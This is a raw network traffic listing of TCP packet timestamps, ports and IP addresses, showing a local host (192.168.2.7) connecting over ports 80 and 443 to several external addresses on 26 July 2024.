Jul 26, 2024 08:57:40.916318893 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916332960 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916346073 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916357040 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.916357040 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.916368008 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916383028 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916397095 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916404963 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.916404963 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.916412115 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916425943 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916440964 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.916443110 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916459084 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916472912 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916475058 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.916496038 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916497946 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.916511059 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916513920 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.916524887 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916532040 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.916539907 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916554928 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916574001 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.916574001 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.916728973 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.917372942 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.917387009 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.917401075 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.917411089 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.917414904 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.917424917 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.917429924 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.917444944 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.917447090 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.917459011 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.917473078 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.917486906 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.917493105 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.917501926 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.917516947 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.917530060 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.917530060 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.917531013 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.917546034 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.917560101 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.917576075 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.917592049 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.917592049 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.917804003 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.919715881 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.919730902 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.919745922 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.919779062 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.919779062 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:41.136317968 CEST	80	49720	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:41.136398077 CEST	49720	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:41.137070894 CEST	443	49727	216.58.206.46	192.168.2.7
Jul 26, 2024 08:57:41.145550966 CEST	49727	443	192.168.2.7	216.58.206.46
Jul 26, 2024 08:57:41.145560026 CEST	443	49727	216.58.206.46	192.168.2.7
Jul 26, 2024 08:57:41.146289110 CEST	443	49727	216.58.206.46	192.168.2.7
Jul 26, 2024 08:57:41.146344900 CEST	49727	443	192.168.2.7	216.58.206.46
Jul 26, 2024 08:57:41.147304058 CEST	443	49727	216.58.206.46	192.168.2.7
Jul 26, 2024 08:57:41.147368908 CEST	49727	443	192.168.2.7	216.58.206.46
Jul 26, 2024 08:57:41.164400101 CEST	49727	443	192.168.2.7	216.58.206.46
Jul 26, 2024 08:57:41.164546967 CEST	443	49727	216.58.206.46	192.168.2.7
Jul 26, 2024 08:57:41.164637089 CEST	49727	443	192.168.2.7	216.58.206.46
Jul 26, 2024 08:57:41.164648056 CEST	443	49727	216.58.206.46	192.168.2.7
Jul 26, 2024 08:57:41.276839972 CEST	49727	443	192.168.2.7	216.58.206.46
Jul 26, 2024 08:57:41.287230015 CEST	443	49724	94.245.104.56	192.168.2.7
Jul 26, 2024 08:57:41.287513971 CEST	49724	443	192.168.2.7	94.245.104.56
Jul 26, 2024 08:57:41.287533045 CEST	443	49724	94.245.104.56	192.168.2.7
Jul 26, 2024 08:57:41.288944960 CEST	443	49724	94.245.104.56	192.168.2.7
Jul 26, 2024 08:57:41.289028883 CEST	49724	443	192.168.2.7	94.245.104.56
Jul 26, 2024 08:57:41.300137997 CEST	49724	443	192.168.2.7	94.245.104.56
Jul 26, 2024 08:57:41.300297976 CEST	49724	443	192.168.2.7	94.245.104.56
Jul 26, 2024 08:57:41.300386906 CEST	443	49724	94.245.104.56	192.168.2.7
Jul 26, 2024 08:57:41.345288038 CEST	49720	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:41.345690966 CEST	49733	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:41.350672007 CEST	80	49720	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:41.350744009 CEST	49720	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:41.351072073 CEST	80	49733	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:41.351155043 CEST	49733	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:41.360500097 CEST	49733	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:41.365686893 CEST	80	49733	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:41.381970882 CEST	49724	443	192.168.2.7	94.245.104.56
Jul 26, 2024 08:57:41.381990910 CEST	443	49724	94.245.104.56	192.168.2.7
Jul 26, 2024 08:57:41.460947990 CEST	443	49727	216.58.206.46	192.168.2.7
Jul 26, 2024 08:57:41.460978031 CEST	443	49727	216.58.206.46	192.168.2.7
Jul 26, 2024 08:57:41.461031914 CEST	49727	443	192.168.2.7	216.58.206.46
Jul 26, 2024 08:57:41.461049080 CEST	443	49727	216.58.206.46	192.168.2.7
Jul 26, 2024 08:57:41.461309910 CEST	443	49727	216.58.206.46	192.168.2.7
Jul 26, 2024 08:57:41.461355925 CEST	49727	443	192.168.2.7	216.58.206.46
Jul 26, 2024 08:57:41.467475891 CEST	49727	443	192.168.2.7	216.58.206.46
Jul 26, 2024 08:57:41.467490911 CEST	443	49727	216.58.206.46	192.168.2.7
Jul 26, 2024 08:57:41.529303074 CEST	443	49724	94.245.104.56	192.168.2.7
Jul 26, 2024 08:57:41.530846119 CEST	49724	443	192.168.2.7	94.245.104.56
Jul 26, 2024 08:57:41.623214960 CEST	49724	443	192.168.2.7	94.245.104.56
Jul 26, 2024 08:57:41.623255014 CEST	443	49724	94.245.104.56	192.168.2.7
Jul 26, 2024 08:57:42.100406885 CEST	80	49733	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:42.100517988 CEST	49733	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:42.268532038 CEST	49733	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:42.273628950 CEST	80	49733	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:42.518145084 CEST	80	49733	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:42.518218040 CEST	49733	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:42.671782970 CEST	49733	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:42.672358036 CEST	49737	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:42.878869057 CEST	80	49737	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:42.878940105 CEST	49737	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:42.879280090 CEST	80	49733	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:42.879333973 CEST	49733	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:42.889873028 CEST	49737	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:42.895124912 CEST	80	49737	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:43.760359049 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:44.117201090 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:44.491559029 CEST	80	49737	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:44.491734982 CEST	49737	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:44.492460966 CEST	80	49737	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:44.492538929 CEST	49737	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:44.493587017 CEST	80	49737	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:44.493628979 CEST	49737	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:44.497723103 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:44.498053074 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:44.606874943 CEST	49737	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:44.612377882 CEST	80	49737	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:44.857162952 CEST	80	49737	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:44.857234001 CEST	49737	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:44.902807951 CEST	49742	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:44.902857065 CEST	443	49742	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:44.903155088 CEST	49742	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:44.903661966 CEST	49743	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:44.903675079 CEST	443	49743	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:44.903748989 CEST	49743	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:44.904361963 CEST	49742	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:44.904390097 CEST	443	49742	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:44.904654980 CEST	49743	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:44.904670954 CEST	443	49743	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:44.912033081 CEST	49744	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:44.912081957 CEST	443	49744	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:44.912143946 CEST	49744	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:44.914247990 CEST	49744	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:44.914263964 CEST	443	49744	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.004255056 CEST	49737	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:45.004559040 CEST	49745	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:45.009407043 CEST	80	49745	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:45.009485006 CEST	49745	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:45.009669065 CEST	80	49737	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:45.009721041 CEST	49737	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:45.010204077 CEST	49745	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:45.015044928 CEST	80	49745	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:45.127033949 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:45.127255917 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:45.205406904 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:45.210472107 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:45.359931946 CEST	443	49742	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.374665022 CEST	443	49744	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.378498077 CEST	49742	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:45.378518105 CEST	443	49742	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.378541946 CEST	49744	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:45.378567934 CEST	443	49744	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.379828930 CEST	443	49742	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.379997969 CEST	49742	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:45.380085945 CEST	443	49744	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.380139112 CEST	49744	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:45.388875008 CEST	443	49743	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:45.424577951 CEST	49742	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:45.424727917 CEST	443	49742	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.425019026 CEST	49743	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:45.425039053 CEST	443	49743	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:45.425297976 CEST	49744	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:45.425491095 CEST	443	49744	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.425645113 CEST	49744	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:45.425661087 CEST	443	49744	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.425951004 CEST	49742	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:45.425966024 CEST	443	49742	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.426126003 CEST	443	49743	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:45.426189899 CEST	49743	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:45.427768946 CEST	49743	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:45.427834988 CEST	443	49743	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:45.428287029 CEST	49743	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:45.428297043 CEST	443	49743	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:45.459903002 CEST	49746	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:45.459939003 CEST	443	49746	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:45.460035086 CEST	49746	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:45.461288929 CEST	49746	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:45.461301088 CEST	443	49746	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:45.479917049 CEST	49742	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:45.511905909 CEST	49744	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:45.511955023 CEST	49743	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:45.528178930 CEST	443	49742	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.528259993 CEST	443	49742	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.528987885 CEST	49742	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:45.529442072 CEST	443	49744	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.529524088 CEST	443	49744	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.529581070 CEST	49744	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:45.530828953 CEST	49742	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:45.530853033 CEST	443	49742	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.531307936 CEST	49744	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:45.531327009 CEST	443	49744	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:45.535197973 CEST	443	49743	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:45.535264015 CEST	443	49743	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:45.535484076 CEST	49743	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:45.542654991 CEST	49743	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:45.542675018 CEST	443	49743	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:45.749615908 CEST	80	49745	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:45.749672890 CEST	49745	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:45.770123005 CEST	49745	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:45.775002956 CEST	80	49745	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:45.835452080 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:45.835655928 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:46.014153957 CEST	80	49745	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:46.014266014 CEST	49745	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:46.140664101 CEST	443	49746	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:46.140760899 CEST	49746	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:46.172415018 CEST	49746	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:46.172449112 CEST	443	49746	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:46.172827959 CEST	443	49746	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:46.265352011 CEST	49745	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:46.265618086 CEST	49747	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:46.270881891 CEST	80	49747	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:46.270899057 CEST	80	49745	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:46.270967007 CEST	49745	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:46.273051023 CEST	49747	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:46.295629978 CEST	49747	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:46.300520897 CEST	80	49747	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:46.318532944 CEST	49746	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:46.374252081 CEST	49746	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:46.416496038 CEST	443	49746	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:46.567188978 CEST	443	49746	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:46.567369938 CEST	443	49746	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:46.567656994 CEST	49746	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:46.724101067 CEST	49746	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:46.724101067 CEST	49746	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:46.724140882 CEST	443	49746	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:46.724153996 CEST	443	49746	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:47.042805910 CEST	80	49747	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:47.043057919 CEST	49747	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:47.058512926 CEST	49747	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:47.063467979 CEST	80	49747	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:47.159060001 CEST	49748	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:47.159116030 CEST	443	49748	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:47.159193993 CEST	49748	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:47.159475088 CEST	49748	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:47.159488916 CEST	443	49748	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:47.322609901 CEST	80	49747	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:47.332864046 CEST	49749	443	192.168.2.7	35.190.72.216
Jul 26, 2024 08:57:47.332923889 CEST	443	49749	35.190.72.216	192.168.2.7
Jul 26, 2024 08:57:47.335560083 CEST	49749	443	192.168.2.7	35.190.72.216
Jul 26, 2024 08:57:47.335565090 CEST	49747	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:47.341422081 CEST	49749	443	192.168.2.7	35.190.72.216
Jul 26, 2024 08:57:47.341451883 CEST	443	49749	35.190.72.216	192.168.2.7
Jul 26, 2024 08:57:47.531212091 CEST	49747	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:47.531507969 CEST	49750	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:47.536380053 CEST	80	49750	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:47.537025928 CEST	80	49747	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:47.537334919 CEST	49747	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:47.537353039 CEST	49750	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:47.537750959 CEST	49750	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:47.542577982 CEST	80	49750	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:47.836447001 CEST	443	49749	35.190.72.216	192.168.2.7
Jul 26, 2024 08:57:47.837798119 CEST	49749	443	192.168.2.7	35.190.72.216
Jul 26, 2024 08:57:47.853961945 CEST	443	49748	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:47.856328964 CEST	49748	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:47.890568972 CEST	49749	443	192.168.2.7	35.190.72.216
Jul 26, 2024 08:57:47.890619040 CEST	443	49749	35.190.72.216	192.168.2.7
Jul 26, 2024 08:57:47.890774012 CEST	49749	443	192.168.2.7	35.190.72.216
Jul 26, 2024 08:57:47.891303062 CEST	443	49749	35.190.72.216	192.168.2.7
Jul 26, 2024 08:57:47.899560928 CEST	49749	443	192.168.2.7	35.190.72.216
Jul 26, 2024 08:57:47.911405087 CEST	49748	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:47.911448002 CEST	443	49748	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:47.912429094 CEST	443	49748	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:47.920463085 CEST	49748	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:47.968507051 CEST	443	49748	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:47.996543884 CEST	49751	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:57:48.001645088 CEST	80	49751	34.107.221.82	192.168.2.7
Jul 26, 2024 08:57:48.007165909 CEST	49751	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:57:48.009874105 CEST	49751	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:57:48.014760017 CEST	80	49751	34.107.221.82	192.168.2.7
Jul 26, 2024 08:57:48.140583992 CEST	443	49748	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:48.140685081 CEST	443	49748	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:48.142749071 CEST	49748	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:48.146481037 CEST	49748	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:48.146513939 CEST	443	49748	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:48.146529913 CEST	49748	443	192.168.2.7	184.28.90.27
Jul 26, 2024 08:57:48.146537066 CEST	443	49748	184.28.90.27	192.168.2.7
Jul 26, 2024 08:57:48.313841105 CEST	80	49750	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:48.313919067 CEST	49750	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:48.314573050 CEST	49750	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:48.319410086 CEST	80	49750	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:48.454760075 CEST	80	49751	34.107.221.82	192.168.2.7
Jul 26, 2024 08:57:48.511142969 CEST	49751	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:57:48.566035032 CEST	80	49750	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:48.566836119 CEST	49750	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:48.779407978 CEST	49750	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:48.779702902 CEST	49752	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:48.784727097 CEST	80	49752	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:48.785656929 CEST	49752	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:48.785840034 CEST	80	49750	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:48.789155960 CEST	49750	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:48.826338053 CEST	49752	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:48.831717968 CEST	80	49752	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:49.558489084 CEST	80	49752	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:49.568033934 CEST	49752	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:49.656531096 CEST	49752	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:49.661565065 CEST	80	49752	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:49.906090975 CEST	80	49752	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:49.906162977 CEST	49752	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:50.009603977 CEST	49752	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:50.009888887 CEST	49753	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:50.014802933 CEST	80	49753	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:50.014882088 CEST	49753	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:50.015017986 CEST	49753	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:50.015218019 CEST	80	49752	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:50.015269041 CEST	49752	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:50.019872904 CEST	80	49753	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:50.770837069 CEST	49755	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:57:50.775926113 CEST	80	49755	34.107.221.82	192.168.2.7
Jul 26, 2024 08:57:50.776434898 CEST	49755	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:57:50.776621103 CEST	49755	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:57:50.779817104 CEST	80	49753	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:50.779932022 CEST	49753	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:50.780816078 CEST	49753	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:50.781424999 CEST	80	49755	34.107.221.82	192.168.2.7
Jul 26, 2024 08:57:50.785697937 CEST	80	49753	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:50.839277983 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:50.840950012 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:50.858652115 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:50.858938932 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:50.863540888 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:50.864176035 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:50.864250898 CEST	49756	80	192.168.2.7	85.28.47.31
